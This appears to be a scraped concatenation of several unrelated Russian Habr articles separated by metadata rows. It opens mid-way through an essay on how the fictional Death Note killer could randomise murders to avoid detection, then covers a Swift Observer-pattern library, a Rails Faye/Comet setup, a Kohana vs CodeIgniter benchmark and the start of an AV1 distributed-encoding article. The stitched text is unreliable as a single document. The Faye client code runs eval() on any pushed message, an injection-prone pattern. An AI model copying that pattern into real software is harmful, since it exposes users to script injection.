Можно позаимствовать пример из [Uncontrolled](http://www.amazon.com/Uncontrolled-Surprising-Trial---Error-Business/dp/046502324X/?tag=gwernnet-20) Джима Манци: допустим, мы изучаем разные способы похудеть. Поскольку все эти заморочки с рандомизацией ниже нашего достоинства, мы распределяем субъектов между контрольной и экспериментальной группой не случайно, а тупо в том порядке, в каком они пришли к нам в клинику. Скажем, сперва набираем 10 человек экспериментальной группы, а всех пришедших позже отправляем в контроль. В остальном эксперимент безупречен — размер групп одинаковый, субъекты распределены на подгруппы по исходному весу, представлены разные возраста и т.д. и т.п. Вот только так вышло, что в некоей семье присутствует редкая мутация, влияющая на набор веса. Записываться на эксперимент они пришли всей семьёй, к тому же в первый же день. В результате у большей части экспериментальной группы мутация есть, ни у кого в контрольной её нет, и по сути мы исследовали не эффект нашей диеты, а различия между людьми с мутацией и без неё. Вся работа псу под хвост. Можно перезапустить эксперимент и убедиться, что люди с данной мутацией представлены в обеих группах, но где гарантия, что не придёт семейство с какой-нибудь другой мутацией или не вылезет ещё один неожиданный фактор? А вот если бы мы сперва набрали людей, а потом случайно выбрали эксперимент и контроль — мутация (или что угодно ещё) почти наверняка была бы представлена в обеих группах и результаты были бы валидны.
Так что для борьбы со второй ошибкой Кира мог бы просто заранее составить список преступников и убивать, например, по одному в час. Тетрадь позволяет назначить время смерти, так что не обязательно сидеть с ней всю ночь; информация о часовых поясах вроде бы не выдаётся. Что может пойти не так? В голову приходит такой вариант: на разные часы могут приходиться разные типы преступников. Скажем, каждый день Кира составляет список жертв на завтра. Они идут примерно в следующем порядке: преступники из утренней газеты; потом преступники, показанные на ТВ; потом преступники, личные данные которых пришлось погуглить; потом исторические преступники. Проблема в том, что иногда преступников будет не хватать (потому что газета не выходит в воскресенье или просто в данный конкретный день по ТВ показали мало убийств). Лайт может найти, например, список оправданных нацистов и по мере необходимости дополнять ими свой план; в этом случае само положение “не-срочных” жертв укажет, какой период времени он считает концом дня.
Гораздо безопаснее было бы рандомизировать время смерти, личность жертвы и обстоятельства смерти. Даже если считать, что Лайт обязан выдать существование Киры и добиться международной известности (что само по себе проблема — между славой и эффективностью обычно приходится выбирать), ему всё ещё незачем снижать свою анонимность сильно ниже исходных 32 бит.
1. Время каждой смерти могло бы определяться случайно (например, броском 24-гранной и 60-гранной кости).
2. Обстоятельства смерти можно было бы рандомизировать в соответствии с легко доступными демографическими показателями (хотя этот пункт противоречит требованию славы и скорее годится для того, чтобы скрыть факт убийства).
3. Жертв можно выбирать только на основании международных источников. Статью в какой-нибудь New York Times в принципе мог бы прочитать почти любой человек на планете; если откладывать убийство на месяцы или годы, то можно скрыть источник информации. В противном случае даже без провокации с Тейлором Лайт рано или поздно убил бы преступника, о котором сообщал только мелкий японский телеканал.
Можно придумать и другие стратегии рандомизации. Важно помнить, что все эти советы относятся только к анонимному Кире, использующему низкотехнологичные стратегии. Идеи типа “почему бы Лайту не создать [рынок убийств](https://en.wikipedia.org/wiki/Assassination_market) или не захватить мир с помощью Тетради” противоречат всей задумке Death Note. | https://habr.com/ru/post/516190/ | null | ru | null |
# Идеальный наблюдатель на Swift
*Изобретателям MulticastDelegate посвящается.*
Stateville Correctional CenterВ этой статье речь пойдёт о шаблоне проектирования "**Наблюдатель**" (**Observer**) и его реализации на Swift. Точнее о его идеальной реализации, то есть, обеспечивающей:
* Рассылку уведомлений "один ко многим"
* Универсальность
* Взаимодействие компонентов посредством протоколов
* Безопасность (генерация уведомления возможна только из источника события)
* Возможность отключения от рассылки
* Слабую связность компонентов
* Бескомпромиссное удобство использования
* Эффективность
* Компактность
* Кроссплатформенность
Что должен делать "Наблюдатель"
-------------------------------
Как известно, шаблон **Наблюдатель** реализует одностороннюю рассылку уведомлений, или связь "один ко многим". Говоря по простому, источник одним вызовом функции, инициирует вызов нескольких соответствующих функций, по одной на каждом **Приёмнике**.
Концептуальная схема шаблона проектирования НаблюдательВ нашем случае, **Источник** будет выставлять сущность **Событие**, которое предоставляет возможность подключаться одному и более **Приёмникам** через слабую связь. После подключения, Источник (и только он) генерирует **Уведомление**, которое доставляется всем **Приёмникам**.
Краткий обзор существующих вариантов
------------------------------------
В качестве традиционной реализации шаблона **Наблюдатель** можно указать класс `UIControl` в iOS SDK. В этом классе имеется метод `addTarget(target: Any?, action: Selector, for controlEvents: UIControl.Event)`, который подключает **Приёмник** к рассылке уведомлений. Так же имеется возможность отключить **Приёмник** методом `removeTarget(Any?, action: Selector?, for: UIControl.Event)`. Указанное решение обладает следующими недостатками:
* Узкая специализация. Источником может быть только UI-элемент из UIKit
* Ограниченный набор возможных уведомлений : `UIControl.Event`
* Платформенная зависимость: iOS
* Целевой класс должен быть наследником NSObject.
Традиционным универсальной реализацией шаблона **Наблюдатель** на платформах Apple является инструмент [`NS]NotificationCenter`, который, обладает настолько громоздким интерфейсом, что кажется, разработчики стараются избегать его использовать в повседневной деятельности. К тому же использование NotificationCenter является только условно-безопасным в силу того что кто угодно может отправить любое уведомление и для удовлетворения критерию безопасности придётся прикручивать костыли с упаковкой специфических данных в `[NS]Notification`.
Других вариантов шаблона **Наблюдатель** стандартная библиотека Swift, кажется, не предоставляет.
Постараемся восполнить этот досадный пробел и попытаемся создать идеального **Наблюдателя** Swift.
Реализация "Наблюдателя" со стороны источника
---------------------------------------------
Для начала отметим, что наш **Наблюдатель** будет лежать в отдельно SPM-пакете и по этому весь доступный функционал будет помечаться как public, а недоступный - как internal. Итак представляем базовые сущности идеального **Наблюдателя**:
```
/// Источник связи "один ко многим".
public protocol EventProtocol {
associatedtype Parameter
/// Добавление нового слушателя
static func += (event: Self, handler: EventObserver)
}
/// База для обработчиков сообщений.
public class EventObserver {
/// Обработать полученное событие.
/// Возвращает статус true - слушатель готов получать
/// дальнейшие события. false - больше не посылать.
public func handle(\_ value: Parameter) -> Bool {
fatalError("must override")
}
}
```
Из объявления нашего протокола следует несколько выводов:
* Все события меют ровно один параметр, даже если он имеет тип `Void`. В случае необходимости передавать несколько параметров их надо объеденить в структуру или аналог.
* Добавление **Приёмника** осуществляется применением оператора +=. Это сделано для компактной формы записи.
* Все **Приёмники** наследуют классу `EventObserver`.
Возникает вопрос: Как удалять **Приёмники**? Первая очевидная мысль: *"Почему бы не применить оператор -= ?*". Отвечаем: Для того чтобы удалить `EventObserver` его надо сначала найти. Для этого его, как минимум, надо сделать Equatable типом. Но предположим что он хранит в себе целевой объект и целевой метод. Сравнивать объекты мы можем, например по значению ссылки (===). А вот сравнивать методы - увы, Swift не позволяет. Следовательно, удалять **Приёмники** на основе их сравнения мы не можем. Но мы можем хранить **слабую ссылку** на **Приёмника** и удалять эту ссылку из списка слушателей в случае удаления целевого объекта (или его **представителя**). Удаление будет происходить в процессе рассылки следующего (после удаления) уведомления. Это и будет нашим способом удаления **Приёмника** из списка.
У искушенного читателя может возникнуть ещё один вопрос: *"*`EventProtocol` *содержит associatedtype и упоминает Self, значит мы не можем просто объявить переменную такого типа. Зачем тогда он вообще нужен?"* Ответ: Для того чтобы мы могли раширять его функционал, например добавляя новые перегрузки оператора +=, и эти расширения автоматически будут распространяться на все реализующие `EventProtocol` сущности. Чем мы в дальнейшем и займёмся.
Представим теперь реализацию протокола EventProtocol
```
public final class Event: EventProtocol {
public typealias Observer = EventObserver
/// Саисок обработчиков.
private final class Node {
var observer: Observer
var next: Node?
init(observer: Observer, next: Node?) {
self.observer = observer
self.next = next
}
}
private var observers: Node?
private var connectionNotifier: (() -> Void)?
/// connectedNotifier - опциональный слушатель подключения первого наблюдателя
internal init(connectionNotifier: (() -> Void)?) {
self.connectionNotifier = connectionNotifier
}
/// Уведомить всех слушателей о возникновении события
/// При этом все отвалившиеся слушатели удаляются из списка
/// Недоступна для внешнего вызова.
/// Для внешнего вызова использовать EventSource.
/// \*returns\* true если есть подключения слушателей
internal func notifyObservers(\_ value: Parameter) -> Bool {
// Рекурсивный проход по слушателям с удалением отвалившихся.
func recursiveWalk(\_ node: Node?) -> Node? {
guard node != nil else { return nil }
var node = node
// Схлопываем пустые узлы
while let current = node, !current.observer.handle(value) {
node = current.next
}
if let current = node {
current.next = recursiveWalk(current.next)
}
return node
}
observers = recursiveWalk(observers)
return observers != nil
}
/// Добавление слушателя. Слушатель добавляется по слабой ссылке. Чтобы убрать слушателя, надо удалить его объект.
/// Допустимо применять посредника (Observer.Link) для отключения слушателя без удаления целевого боъекта.
public static func += (event: Event, observer: Observer) {
if event.observers == nil {
event.connectionNotifier?()
}
event.observers = Node(observer: observer, next: event.observers)
}
}
```
Разберём что происходит внутри `Event`:
* Внутри хранится связанный список обработчиков. Выбор связанного списка обусловлен тем что к нему применяется только две операции: добавление в начало нового элемента (Сложность О(1)) и последовательный проход по элементам, с удалением пустых (тех которые вернули `false` при вызове `handle`()). Как известно, удаление элемента из связанного списка имеет сложность O(1). Таким образом, проход по списку с удалением пустых элементов имеет сложность О(n). Быстрее и быть не может.
* Кроме прохода по списку, внутри Event встроено уведомление о подключении первого **Приёмника** и удалении последнего. Первое происходит посредством передачи в конструктор опционального `connectionNotifier`, второе при вызове `notifyObservers`. Это позволяет владельцу события - **Источнику**, быть в курсе о подключении первого (и отключении последнего) **Приёмника** к **Событию**.
* Обратим внимание, что метод `notifyObservers` объявлен `internal` и не позволяет вызывать рассылку события извне пакета SwiftObserver. Это сделано специально, чтобы отправлять событие мог только **Источник** - владелец **События**. **Источник** вовне выставляет `Event`, внутри себя инкапсулирует `EventSource`(разберём ниже), который и предоставляет публичный метод для генерации события. Отметим, что `EventSource` не является наследником `Event`, следовательно, невозможно программно преобразовать `Event` в `EventSource`, чем и достигается заявленная безопасность.
Наконец, представим структуру EventSource:
```
/// Обертка вокруг Event для возможности рассылки уведомлений.
/// Во внешний интерфейс выставляем Event. Внутри объявляем EventSender.
public struct EventSender {
public var event: Event
/// Опциональный уведомитель о подключении первого слушателя к событию
public init(connectionNotifier: (() -> Void)? = nil) {
event = .init(connectionNotifier: connectionNotifier)
}
/// Послать уведомление всем слушателям о возникновении события.
/// \*returns\* Есть ли подключения в данный момент (была ли реально произведена отправка уведомления)
@discardableResult
public mutating func send(\_ value: Parameter) -> Bool {
return event.notifyObservers(value)
}
@discardableResult
public mutating func send() -> Bool where Parameter == Void {
return event.notifyObservers(())
}
}
```
Как видим, `EventSource` это просто обёртка (wrapper) вокруг `Event`, предоставляющая владельцу возможность выставлять наружу `Event` и генерировать уведомления о событии. Теперь перейдём к **Приёмнику**.
Реализация "Наблюдателя" со стороны приёмника
---------------------------------------------
Как мы помним, все **Приёмники** наследуют классу `EventObserver`. Приведём реализацию наблюдателя, доставляющего уведомления методу класса:
```
/// Наблюдатель события, доставляющий уведомления методу класса.
public final class Observer : EventObserver {
weak var target: Target?
public typealias Action = (Target)->(Parameter)->Void
let action: Action
public init(target: Target?, action: @escaping Action) {
self.target = target
self.action = action
}
public override func handle(\_ value: Parameter) -> Bool {
guard let target = target else { return false }
action(target)(value)
return true
}
}
```
Ключевой нюанс в данном классе - хранение целевого объекта `target` по слабой ссылке. Это создаст слабую зависимость от `target`, которая разрывается в случае удаления последнего. Приведём завершенный пример использования нашей конструкции:
```
import XCTest
import SwiftObserver
private protocol Subject {
var eventVoid: Event { get }
}
private final class Emitter: Subject {
private var voidSender = EventSender()
var eventVoid: Event { voidSender.event }
func send() {
voidSender.send()
}
}
private final class Receiver {
func onVoid(\_: Void) {
print("Event received")
}
}
final class ObserverSandbox: XCTestCase {
public func testTargetActionObserver() {
let emitter = Emitter()
let receiver = Receiver()
let subject: Subject = emitter
subject.eventVoid += Observer(target: receiver, action: Receiver.onVoid)
emitter.send() // "Event received"
}
}
```
Как мы и хотели (И как гласит буква I акронима SOLID), взаимодействие компонентов организовано посредством протокола Subject.
Въедливый читатель заметит: *"Ага! Мы хотим обработчиком события без параметров видеть* `func onVoid()` *а не* `func onVoid(_: Void)`*. Где тут заявленная бескомпромиссность удобства!?"*. Ок, тогда Observer придётся немного усложнить:
```
/// Наблюдатель события, доставляющий уведомления методу класса.
public final class Observer : EventObserver {
public typealias Action = (Target)->(Parameter)->Void
public typealias VoidAction = (Target)->()->Void
weak var target: Target?
let action: Action?
let voidAction: VoidAction?
public init(target: Target?, action: @escaping Action) {
self.target = target
self.action = action
self.voidAction = nil
}
public init(target: Target?, action: @escaping VoidAction) where Parameter == Void {
self.target = target
self.action = nil
self.voidAction = action
}
public override func handle(\_ value: Parameter) -> Bool {
guard let target = target else { return false }
if let action = action {
action(target)(value)
} else {
voidAction?(target)()
}
return true
}
}
```
Ну вот, сами напросились. Зато теперь, как вы и хотели, обработчик принимает методы без параметров в любом виде.
Следующий вопрос, который мы ожидаем от читателя звучит примерно так: *"Ок, если целевой класс разрушается, то связь разрывается. А мы хотим чтобы была возможность разрывать связь без разрушения целевого объекта"*. Для этого мы вводим сущность **посредника** (Mediator) `Observer.Link`, которая материализует разрываемую связь между **Источником** и **Приёмником**.
```
/// Посредник (Mediator) для создания обнуляемой связи к постоянному объекту.
public extension Observer {
final class Link {
public typealias Action = (Target) -> (Parameter) -> Void
public typealias VoidAction = (Target)->()->Void
weak var target: Target?
let action: Action?
let voidAction: VoidAction?
public init(target: Target?, action: @escaping Action) {
self.target = target
self.action = action
self.voidAction = nil
}
public init(target: Target?, action: @escaping VoidAction) where Parameter == Void {
self.target = target
self.action = nil
self.voidAction = action
}
func forward(_ value: Parameter) -> Void {
guard let target = target else { return }
if let action = action {
action(target)(value)
} else {
voidAction?(target)()
}
}
}
}
public extension EventProtocol {
/// Добавления обнуляемой связи к постоянному объекту. Если link удалится, то связь безопасно порвётся.
static func += (event: Self, link: Observer.Link) {
typealias Link = Observer.Link
event += Observer(target: link, action: Link.forward)
}
}
```
Здесь уже сразу мы добавили поддержку методов без параметров. Обратите внимание, в дополнение к `Observer.Link` пришлось написать расширение к исходному протоколу `EventProtocol.` Приведём пример использования. Инициализация опущена:
```
// ... см. предыдущий пример использования.
final class ObserverSandbox: XCTestCase {
// ...
public func testTargetActionLinkObserver() {
let emitter = Emitter()
let receiver = Receiver()
let subject: Subject = emitter
var mayBeLink: Any?
do {
let link = Observer.Link(target: receiver, action: Receiver.onVoid)
subject.eventVoid += link
mayBeLink = link
}
XCTAssertNotNil(mayBeLink)
emitter.send() // Event received
mayBeLink = nil
emitter.send() // No output
}
}
```
Ура! Наш **Наблюдатель** почти завершен! Но, кажется, я слышу гневные возмущения: *"Позвольте, мы хотим видеть обработчиками событий замыкания! Нам так не хватало этого в UIControl! Без замыканий мы этим не будем пользоваться!!!"*. Что поделать, придётся добавлять **Приёмник**-замыкание. Хотя они и создают угрозу возникновения циклов сильных ссылок (strong reference cycle).
```
/// Слушатель связи "один ко многим" на основе замыкания.
public final class ObserverClosure : EventObserver {
public typealias Action = (Parameter)->Void
let action: Action
public init(action: @escaping Action) {
self.action = action
}
public override func handle(\_ value: Parameter) -> Bool {
action(value)
return true
}
}
public extension EventProtocol {
/// Добавление слушателя-замыкания.
static func += (event: Self, action: @escaping (Parameter)->Void) {
event += ObserverClosure(action: action)
}
}
```
Казалось бы, для использования **Приёмника**-замыкания нам придётся писать в коде что-то вроде `subject.eventVoid += ObserverClosure() { ... }` Но к нашему счастью, Swift умеет выводить тип параметра оператора включая дженерик-часть из конструктора, который в случае единственного аргумента-замыкания можно и не писать совсем. Магия 80-го уровня! В итоге пример с замыканием выглядит следующим образом:
```
// ... см. первый пример.
final class ObserverSandbox: XCTestCase {
// ...
func testPermanentClosure() {
let emitter = Emitter()
let subject: Subject = emitter
// subject.eventVoid += ObserverClosure() { ... }
subject.eventVoid += { // OMG!!!
print("Event received")
}
emitter.send() // Event received
}
}
```
<Бурные и продолжительные аплодисменты>
Ещё раз напоминаю про опасность возникновения сильных циклов при использовании замыканий. К сожалению, подобное решение создаёт постоянную неразрывную связь, и по этому применимо только при создании жестких композитов(Composite), которые впоследствии уничтожаются целиком. Но к счастью, и в случае применения **Приёмника**-замыкания, применим подход с созданием обнуляемого посредника.
```
/// Посредник (Mediator) для создания обнуляемой связи к замыканию.
public extension ObserverClosure {
final class Link {
public typealias Action = (Parameter) -> Void
let action: Action
public init(action: @escaping Action) {
self.action = action
}
func forward(_ value: Parameter) -> Void {
action(value)
}
}
}
public extension EventProtocol {
/// Добавления обнуляемой связи к постоянному замыканию. Если link удалится, то связь безопасно порвётся.
static func += (event: Self, link: ObserverClosure.Link) {
typealias Link = ObserverClosure.Link
event += Observer(target: link, action: Link.forward)
}
}
```
Увы, в данном случае уже не избежать упоминания полного класса, хотя параметр дженерика по прежнему выводится:
```
// ... см. первый пример.
final class ObserverSandbox: XCTestCase {
// ...
func testClosureLinkObserevr() {
let emitter = Emitter()
let subject: Subject = emitter
var maybeLink: Any?
do {
let link = ObserverClosure.Link {
print("Event received")
}
subject.eventVoid += link
maybeLink = link
}
XCTAssertNotNil(maybeLink)
emitter.send() // Event received
maybeLink = nil
emitter.send() // No output
}
}
```
Ну вот теперь, кажется, всё!
Подведение итогов
-----------------
Мы рассмотрели идеальную, по нашему представлению, реализацию шаблона **Наблюдатель** на Swift. Проверим, соответсвует ли она заявленным исходно обещаниям:
* Рассылка уведомления множеству приёмников. Сделано.
* Универсальность. Мы считаем, что наше решение абсолютно универсально несмотря на возможность отправлять максимум только один параметр. Ничто нам не мешает объединять праметры в структуры. А может быть лучше передавать протокол, у которого **Приёмник** будет сам запрашивать интересующие его данные.
* Взаимодействие посредством протоколов. Сделано, показано в первом же примере.
* Безопасность. Как мы и обещали, мы исключили возможность генерации уведомления извне **Источника**.
* Возможно отключения от рассылки. Реализована посредством либо удаления **Приёмника**, либо при подключении через `Link` - удаляемой связи.
* Слабая связность компонентов. У нас она везде кроме подключения **Приёмника** в виде замыкания. Но вы сами просили! Удобство прежде всего. )
* Удобство использования. Ды, мы пошли на жертвы и даже усложнили реализацию чтобы вы могли подключать методы без параметров в виде `func()` вместо `func(_: Void)`. Ну и опять же, подключение **Приёмников**-замыканий, куда же без них! И не забываем про возможность уведомления **Источника** о подключении первого **Приёмника** и отключение последнего.
* Эффективность. Подключение слушателя: O(1) - добавление в начало списка. Удаление **Приёмника**: О(1) - мы удаляем слушателей в процессе рассылки уведомлений. Рассылка уведомления - О(n), где n - количество слушателей.
* Компактность. Всё решение заняло ~250 строк кода с комментариями. Кажется, да!
* Кроссплатформенность. Предложенное решение не использует ни Foundation ни какие-либо другие внешние библиотеки. Следовательно, оно применимо на любой платформе, поддерживающей Swift.
Спасибо за внимание.
**P.S.:** [Весь представленный здесь код доступен в GitHub](https://github.com/Oleg-E-Bakharev/SwiftObserver)
Покрытие тестами на момент публикации 96.6%
**P.P.S:** Поступали просьбы добавить возможность доставлять уведомление на указанную `DispatchQueue`. Добавил отдельным пакетом, поскольку там уже зависимость от платформенного Foundation. [Ссылка](https://github.com/Oleg-E-Bakharev/ObserverPlus). | https://habr.com/ru/post/585528/ | null | ru | null |
# Faye как способ не задолбать свой сервер
Здравствуйте, хабралюди. Сегодня я хочу рассказать о том, как в одном из наших проектов мы снизили количество запросов на сервер на пару порядков за счет использования технологии [Comet](http://ru.wikipedia.org/wiki/Comet_(программирование)).
Суть проблемы: веб-приложение для службы такси, диспетчера работают удаленно (из дома, из офиса и т.п.). Перед каждым — список заказов. Состояние заказов может измениться в любой момент — водитель взял заказ, водитель отказался, клиент отказался, другой диспетчер завел новый заказ. Очень важно чтобы диспетчер видел картину практически в реальном времени, поскольку в час пик звонки идут один за другим без перерыва. Вначале это было сделано через вызывающийся периодически (setTimeout) AJAX запрос, который получив с сервера отрендеренный список текущих запросов заменял содержимое div'а. Для 1-2 разработчиков, и пары тестеров это казалось нормальной идеей — 1-2 запроса в секунду не сильно напрягали. По результатам компромисса между актуальностью и снижением нагрузки на сервер определились что будем дергать сервер раз в 3 секунды.
Однако реальная жизнь быстро расставила все по местам. Во-первых, в реальности в списке заказов не 5-10, а 30-40 одновременно исполняющихся заказов. Во-вторых, диспетчеров около десятка. Нагрузка на сервер уверенно поползла вверх. Мы решили не дожидаться пока с ростом популярности нам положат сервер и переделали обновление списка на основе технологии Comet, а конкретнее — на основе полезного гема [faye](https://github.com/jcoglan/faye).
В основе идеи лежит принцип [Long Polling](http://habrahabr.ru/tag/long-polling/) — это когда при загрузке страницы яваскрипт делает скрытый AJAX запрос к серверу сообщений, а тот, пока сказать нечего, не отдает ни байта. Далее либо запрос отваливается по таймауту — тогда яваскрипт повторяет запрос, либо в ответ приходит нормальный яваскрипт, который будет выполнен на клиентской стороне.
Использовать гем достаточно просто:
1. Устанавливаем гем faye (дописываем в Gemfile и делаем bundle install)
2. Дописываем
`require "net/http"`
в config/application.rb
Это нужно чтобы работал хелпер отправки сообщений — наверное, потом интегрируют его в гем, но пока надо руками вписать.
3. Создаем новый файлик с текстом
`FAYE_TOKEN = "anything"`
Это задает строку, по которой сервер сообщений будет отличать одно приложение от другого, если их станет несколько. Вместо «anything» можно написать что угодно, только чтобы потом не запутаться.
4. Создаем хелпер для отправки сообщений (например, в application\_helper.rb)
`def broadcast(channel, █)
message = {:channel => channel, :data => capture(█), :ext => {:auth_token => FAYE_TOKEN}}
uri = URI.parse("http://moesuperprilozhenie.ru:9292/faye")
Net::HTTP.post_form(uri, :message => message.to_json)
end`
Этот хелпер легко потом использовать как-то так в любой вьюшке:
`- broadcast "/orders/update" do
$("#orders_list").append("#{escape_javascript render(@orders) }");`
5. Создаем файлик в корне проекта, например faye.ru
`require 'faye'
require File.expand_path('../config/initializers/faye_token.rb', __FILE__)
class ServerAuth
def incoming(message, callback)
if message['channel'] !~ %r{^/meta/}
if message['ext']['auth_token'] != FAYE_TOKEN
message['error'] = 'Invalid authentication token'
end
end
callback.call(message)
end
end
faye_server = Faye::RackAdapter.new(:mount => '/faye', :timeout => 45)
faye_server.add_extension(ServerAuth.new)
run faye_server`
Это — инструкция для запуска Rack сервера Faye, который и будет собственно рассылать обновления клиентам.
6. Запуск сервера сообщений:
`rackup faye.ru -s thin -E production`
Тут мы запускаем сервер сообщений в соответствии с файлом faye.ru, на базе Web-сервера thin и в режиме production.
Здесь есть тонкий момент — аргумент -E production относится не к окружению Вашего приложения, а к режиму работы самого faye и thin. Если указать -E development — будут глюки, почему [не знаю, может починили](https://github.com/jcoglan/faye/issues/25).
7. В яваскрипте на загрузку страницы:
`$(function() {
var faye = new Faye.Client('http://moesuperprilozhenie.ru:9292/faye');
faye.subscribe("/orders/update", function(data) {
eval(data);
});
});`
8. Добавить в список подключаемых яваскриптов faye.js (берется прямо с сервера сообщений, в нашем случае — [moesuperprilozhenie.ru](http://moesuperprilozhenie.ru):9292/faye). Пример на haml:
`= javascript_include_tag "http://moesuperprilozhenie.ru:9292/faye.js"`
9. Открываем новоприкрученный селектеловский [график](http://habrahabr.ru/company/selectel/blog/122987/) нагрузки на процессор и радуемся.
Надеюсь, кому-нибудь поможет. Я затрудняюсь навскидку перечислить способы применения Comet, на ум приходят различные чаты, пейджеры, уведомления, а также разные мониторинги.
UPD: Код в статье взят из [Railscastа](http://railscasts.com/episodes/260-messaging-with-faye). Райану Бейтсу респект и уважуха. | https://habr.com/ru/post/124066/ | null | ru | null |
# Kohana vs Codeigniter, Синтетика производительности
Я хочу привести сравнение производительности двух удивительных (и, по моему скромному мнению, восхитительных) фреймворков, [Kohana](http://kohanaphp.com/ "Официальный сайт фреймворка Kohana") и [Codeigniter](http://codeigniter.com/ "Официальный сайт фреймворка Codeigniter"). Тест синтетический, но, как мне кажется, все-таки интересный.
Условия тестирования
--------------------
В обоих фреймворках я не использовал view, а только работу внутри контроллеров. БД: Postgresql 8.3 на localhost. Оба контроллера имеют простейший вид.
В первом тесте был простой цикл в 333 итерации, внутри которого запускалось обращение к БД по следующему запросу:
> `SELECT \*
>
> FROM tbl\_clients
>
> JOIN tbl\_clients\_recvisites ON tbl\_clients.clientid = tbl\_clients\_recvisites.clientid
>
> JOIN tbl\_recvisites ON tbl\_clients\_recvisites.recvisiteid = tbl\_recvisites.recvisiteid
>
> JOIN tbl\_clients\_contacts ON tbl\_clients.clientid = tbl\_clients\_contacts.clientid
>
> JOIN tbl\_contacts ON tbl\_clients\_contacts.contactid = tbl\_contacts.contactid
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Дополнительно был включен встроенный в оба контроллера профайлер.
Во втором тесте использовался [Apache JMeter](http://jakarta.apache.org/jmeter/ "Инструмент для нагрузочного тестирования веб-приложений")
Тест первый — чистая синтетика без эмуляции
-------------------------------------------
На каждом из фреймворков я повторял действия 10 раз (10 раз [F5]) и записывал результаты выполнения приложения (не учитывается время доставки — только работа PHP). Результаты в таблице:
| | Codeigniter | Kohana |
| --- | --- | --- |
| 1 | 26,6959 | 14,808 |
| 2 | 26,6049 | 14,178 |
| 3 | 27,5487 | 14,289 |
| 4 | 26,7427 | 13,845 |
| 5 | 26,6099 | 14,554 |
| 6 | 26,5644 | 14,381 |
| 7 | 26,9622 | 13,717 |
| 8 | 26,8828 | 14,242 |
| 9 | 27,2445 | 13,771 |
| 10 | 26,8514 | 14,479 |
| Среднее | 26,87 | 14,23 |
И еще. **Важное замечание**: Codeigniter потреблял в этом тесте 1,74Мб оперативки, а Kohana — 1,35Мб
Тест второй — приближение к реальности
--------------------------------------
В этом тесте использовался JMeter для симуляции одновременных запросов.
Заключался тест в следующем. На каждый из испытуемых (CI и KOH) отправлялось по 10 одновременных потоков по 5 запросов в каждом (в потоке они будут выполняться по очереди), но, чтобы не «убивать» стенд, количество запросов к БД было уменьшено с 333 до 9 (ну да, люблю я цифру 3 ;))
В первом случае фреймворки отдавали данные профайлера, но они оказались различными по объему передаваемых байт, поэтому вторую серию тестов я провел, когда оба фреймворка отдавали только по 2 байта ('ok') после выполненной работы. Каждый тест запускался в JMeter по 3 раза.
Таблицы итогов:
*Codeigniter 9 запросов профайлер включен*
| Среднее (мс) | Мин. (мс) | Макс. (мс) | Пропускная способность (запросов/сек) | Кб/сек |
| --- | --- | --- | --- | --- |
| 3880 | 2492 | 4370 | 2,5 | 57,17 |
| 3729 | 2538 | 4105 | 2,6 | 59,5 |
| 3760 | 2608 | 4263 | 2,6 | 59,04 |
*Kohana 9 запросов профайлер включен*
| Среднее (мс) | Мин. (мс) | Макс. (мс) | Пропускная способность (запросов/сек) | Кб/сек |
| --- | --- | --- | --- | --- |
| 2495 | 1104 | 2990 | 3,9 | 27,62 |
| 2462 | 1239 | 2873 | 3,9 | 27,89 |
| 2485 | 933 | 2955 | 3,9 | 27,68 |
*Codeigniter 9 запросов, вывод'ok'*
| Среднее (мс) | Мин. (мс) | Макс. (мс) | Пропускная способность (запросов/сек) | Кб/сек |
| --- | --- | --- | --- | --- |
| 3749 | 2778 | 4241 | 2,6 | 0,01 |
| 3691 | 2187 | 4111 | 2,6 | 0,01 |
| 3776 | 3041 | 4208 | 2,6 | 0,01 |
*Kohana 9 запросов, вывод'ok'*
| Среднее (мс) | Мин. (мс) | Макс. (мс) | Пропускная способность (запросов/сек) | Кб/сек |
| --- | --- | --- | --- | --- |
| 2451 | 1035 | 2870 | 3,9 | 0,01 |
| 2445 | 997 | 2924 | 3,9 | 0,01 |
| 2448 | 1266 | 2883 | 3,9 | 0,01 |
Как видно из этих таблиц, количество отдаваемых байт на время работы приложений не сказывался никак.
Выводы
------
Выводы делает каждый для себя сам, я лишь просто решил провести тестирование таких похожих, но в то же время различных фреймворков. Для себя я, кажется, его сделал.
Ни в коем случае не забывайте, что для каждой работы есть самый подходящий для нее инструмент... | https://habr.com/ru/post/49592/ | null | ru | null |
# Мощь множества ядер для укрощения кодека AV1
Пролог
------
Периодически, я интересуюсь видеокодеками и тем, насколько они становятся эффективнее по сравнению со своими предшественниками. В свое время, когда после H264 вышел HEVC, мне было безумно интересно его пощупать, но мое железо того времени оставляло желать лучшего.
Сейчас же железо подтянулось, но и HEVC давно устарел, ему на смену жаждет придти открытый AV1, обещающий нам до 50% экономии по сравнению с 1080p H264, но если скорость качественного кодирования в HEVC кажется медленноватой (по сравнения с H264), то AV1 со своим ~0.2 fps деморализует полностью. Когда что-то кодируется настолько медленно, то это значит, что даже простой 10 минутный ролик, будет обрабатываться около суток. Т.е. чтобы просто посмотреть подходят ли параметры кодирования или нужно добавить немного битрейта, придется ждать не просто часами, а днями…
И вот, как-то раз, любуясь красивым закатом (кодека H264), я подумал: «А что, если натравить на AV1 все железо которое у меня есть одновременно?»
Идея
----
Я пробовал кодировать AV1 с использованием тайлов и многоядерности, но прирост производительности показался мне не таким уж эффективным на каждое добавленное ядро процессора, давая около полтора FPS при самых быстрых настройках и 0.2 при медленных, поэтому в голову пришла кардинально другая идея.
Посмотрев, что у нас есть на сегодня актуального по AV1, я составил список:
* Встроенный в ffmpeg кодировщик libaom-av1
* Проект [rav1e](https://github.com/xiph/rav1e)
* Проект [SVT-AV1](https://github.com/OpenVisualCloud/SVT-AV1)
Из всего вышеперечисленного я выбрал rav1e. Он показал очень неплохую однопоточную производительность и идеально ложился в систему, которую я придумал:
* Кодировщик разрежет исходное видео на кусочки по n секунд
* На каждом моем компьютере будет web-сервер со специальным скриптом
* Мы кодируем в один поток, а значит сервер может одновременно кодировать столько кусочков, сколько у него процессорных ядер
* Кодировщик будет отправлять кусочки на серверы, и скачивать обратно закодированные результаты
* Когда все кусочки будут готовы, кодировщик склеит их в один и наложит звук из исходного файла
Реализация
----------
Сразу скажу, что реализация сделана под Windows. В теории ничего не мешает сделать тоже самое и под другие ОС, но я делал под то, что стояло у меня.
Итак нам нужно:
* Web-сервер с PHP
* ffmpeg
* rav1e
